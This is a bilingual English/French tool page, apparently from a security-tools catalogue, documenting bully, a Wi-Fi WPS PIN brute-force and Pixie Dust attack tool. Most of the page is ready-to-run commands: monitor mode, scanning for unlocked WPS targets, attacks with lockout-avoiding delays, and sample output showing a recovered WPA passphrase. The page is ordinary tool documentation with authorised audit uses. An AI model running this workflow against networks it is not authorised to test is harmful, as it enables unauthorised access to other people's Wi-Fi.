← retour aux outils back to tools

# bully

Outil de brute-force WPS. Attaque le PIN Wi-Fi Protected Setup (WPS) pour récupérer les passphrases WPA/WPA2. Plus fiable que Reaver sur certains routeurs. WPS brute-force tool. Attacks Wi-Fi Protected Setup (WPS) PIN to recover WPA/WPA2 passphrases. More reliable than Reaver on certain routers.

↗ https://github.com/nicowillis/bully

## Overview

bully is a WPS brute-force tool that implements the Pixie Dust attack and standard PIN brute-force against Wi-Fi Protected Setup (WPS). It’s often more reliable than Reaver against modern routers and has better handling of various WPS implementation quirks.

## Requirements

    # Put wireless card in monitor mode
    airmon-ng check kill
    airmon-ng start wlan0
    # → interface becomes wlan0mon

Find WPS-enabled networks

    wash -i wlan0mon

→ Look for networks with WPS=Yes and Lck=No (not locked)

## Basic Usage

Pixie Dust attack (fastest - often completes in seconds)

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -d

Standard WPS PIN brute-force

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID"

Specify channel

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -c 6

Start from a specific PIN

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -p 12345670

## Pixie Dust Attack

The Pixie Dust attack exploits weak randomness in some WPS implementations It can crack the WPS PIN offline in seconds (compared to hours for brute-force)

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d

    # Combined with pixiewps tool for some routers:
    # bully handles the WPS exchange and passes to pixiewps for offline cracking

## Timing and Delays

Add delay between attempts (avoid WPS lockout)

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -T 5

Timeout per attempt

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -t 30

Number of receive timeouts before giving up

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -r 10

Associate timeout

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -a 30

## Scanning for WPS Targets

Scan with wash to find WPS-enabled APs

    wash -i wlan0mon

    # Output:
    # BSSID              Ch  dBm  WPS  Lck  ESSID
    # AA:BB:CC:DD:EE:FF   6  -65  2.0  No   HomeNetwork

    # Lck=No means WPS is not locked — can attempt attack
    # Lck=Yes means WPS has been locked (usually after many failed attempts)

## Full Workflow

    # Step 1: Enable monitor mode
    airmon-ng check kill
    airmon-ng start wlan0

Step 2: Find WPS-enabled targets

    wash -i wlan0mon

Step 3: Try Pixie Dust attack first (fast)

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6 -d

Step 4: If Pixie Dust fails, try PIN brute-force

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6

    # Step 5: When WPS PIN is found, bully shows WPA passphrase
    # [+] WPS pin: 12345670
    # [+] WPA PSK: "YourWiFiPassword"

## Tips

- Pixie Dust is much faster than full brute-force — always try it first
- WPS lockout (Lck=Yes) means the AP has temporarily or permanently disabled WPS after failed attempts
- Some APs use virtual re-registration lock and reset after a few minutes
- bully tends to work better than Reaver on Broadcom-based routers

Help / Man page

    bully <interface> [options]

    -b BSSID      Target BSSID (required)
    -e SSID       Target SSID (required)
    -c CHANNEL    Channel (1-14)
    -p PIN        Starting PIN
    -d            Pixie Dust attack mode
    -T TIMEOUT    Seconds between attempts (default: 1.0)
    -t TIMEOUT    Association timeout
    -a TIMEOUT    Response timeout
    -r N          Max receive timeouts
    -v N          Verbosity (0-3)
    -o FILE       Output file (stores pin and passphrase)

## Vue d’ensemble

bully est un outil de brute-force WPS qui implémente l’attaque Pixie Dust et le brute-force de PIN standard contre le Wi-Fi Protected Setup (WPS). Il est souvent plus fiable que Reaver contre les routeurs modernes et gère mieux les diverses particularités d’implémentation du WPS.

## Prérequis

    # Passer la carte sans fil en mode monitor
    airmon-ng check kill
    airmon-ng start wlan0
    # → l'interface devient wlan0mon

    # Trouver les réseaux avec WPS activé
    wash -i wlan0mon
    # → Cherchez les réseaux avec WPS=Yes et Lck=No (non verrouillé)

## Utilisation de base

    # Attaque Pixie Dust (la plus rapide, se termine souvent en quelques secondes)
    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -d

    # Brute-force de PIN WPS standard
    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID"

    # Spécifier le canal
    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -c 6

    # Démarrer à un PIN précis
    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -p 12345670

## Attaque Pixie Dust

L’attaque Pixie Dust exploite la faiblesse de l’aléatoire dans certaines implémentations WPS. Elle peut cracker le PIN WPS hors ligne en quelques secondes (comparé à des heures pour le brute-force).

    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d

    # Combinée avec l'outil pixiewps pour certains routeurs :
    # bully gère l'échange WPS et le passe à pixiewps pour le crack hors ligne

## Timing et délais

    # Ajouter un délai entre les tentatives (éviter le verrouillage WPS)
    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -T 5

    # Timeout par tentative
    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -t 30

    # Nombre de timeouts de réception avant d'abandonner
    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -r 10

    # Timeout d'association
    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -a 30

## Scanner les cibles WPS

    # Scanner avec wash pour trouver les AP avec WPS activé
    wash -i wlan0mon

    # Sortie :
    # BSSID              Ch  dBm  WPS  Lck  ESSID
    # AA:BB:CC:DD:EE:FF   6  -65  2.0  No   HomeNetwork

    # Lck=No signifie que le WPS n'est pas verrouillé : l'attaque est possible
    # Lck=Yes signifie que le WPS a été verrouillé (souvent après de nombreux échecs)

## Workflow complet

    # Étape 1 : activer le mode monitor
    airmon-ng check kill
    airmon-ng start wlan0

    # Étape 2 : trouver les cibles avec WPS activé
    wash -i wlan0mon

    # Étape 3 : essayer d'abord l'attaque Pixie Dust (rapide)
    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6 -d

    # Étape 4 : si Pixie Dust échoue, essayer le brute-force de PIN
    bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6

    # Étape 5 : quand le PIN WPS est trouvé, bully affiche la passphrase WPA
    # [+] WPS pin: 12345670
    # [+] WPA PSK: "YourWiFiPassword"

## Conseils

- Pixie Dust est bien plus rapide qu’un brute-force complet : essayez-le toujours en premier
- Le verrouillage WPS (Lck=Yes) signifie que l’AP a désactivé le WPS temporairement ou définitivement après des échecs
- Certains AP utilisent un verrou de ré-enregistrement virtuel et se réinitialisent après quelques minutes
- bully a tendance à mieux fonctionner que Reaver sur les routeurs à base de Broadcom

Aide / Page de manuel

    bully <interface> [options]

    -b BSSID      Target BSSID (required)
    -e SSID       Target SSID (required)
    -c CHANNEL    Channel (1-14)
    -p PIN        Starting PIN
    -d            Pixie Dust attack mode
    -T TIMEOUT    Seconds between attempts (default: 1.0)
    -t TIMEOUT    Association timeout
    -a TIMEOUT    Response timeout
    -r N          Max receive timeouts
    -v N          Verbosity (0-3)
    -o FILE       Output file (stores pin and passphrase)